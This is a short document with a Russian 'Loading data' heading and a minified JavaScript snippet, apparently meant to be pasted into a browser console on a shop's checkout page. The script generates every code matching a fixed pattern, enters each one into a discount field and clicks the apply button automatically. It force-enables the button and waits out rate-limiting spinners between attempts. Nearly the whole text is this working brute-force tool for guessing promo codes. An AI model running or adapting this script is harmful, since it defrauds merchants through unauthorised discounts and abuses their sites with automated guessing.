Загрузка данных


(async()=>{const MASK="AEYpf-erx%%$*%db",BASE_DELAY=1500,INPUT_SEL='input[name="reductions"]',BTN_SEL='button[data-event-name="apply_discount"]',POOLS={'*':'aceimnorsuvwxz'.split(''),'%':'bdfhklt0123456789'.split(''),'$':'gjpqy'.split('')},pools=MASK.split('').map(c=>POOLS[c]||[c]),sleep=ms=>new Promise(r=>setTimeout(r,ms)),setValue=(el,val)=>{const s=Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype,'value').set;s.call(el,val);el.dispatchEvent(new Event('input',{bubbles:true}));el.dispatchEvent(new Event('change',{bubbles:true}));},isBusy=()=>{const b=document.querySelector(BTN_SEL),sp=document.querySelector('.spinner, [aria-busy="true"]');return(b&&b.getAttribute('aria-busy')==='true')||Boolean(sp);};function* generate(arr,i=0,curr=""){if(i===arr.length){yield curr;return;}for(const ch of arr[i])yield* generate(arr,i+1,curr+ch);}let count=1;for(const combo of generate(pools)){const input=document.querySelector(INPUT_SEL),btn=document.querySelector(BTN_SEL);if(!input||!btn){console.error('Поле или кнопка пропали');break;}let wait=0;while(isBusy()&&wait++<30)await sleep(500);setValue(input,combo);await sleep(150);btn.removeAttribute('disabled');btn.click();console.log(`[${count++}] Введено: ${combo}`);await sleep(600);while(isBusy())await sleep(300);await sleep(BASE_DELAY);}})();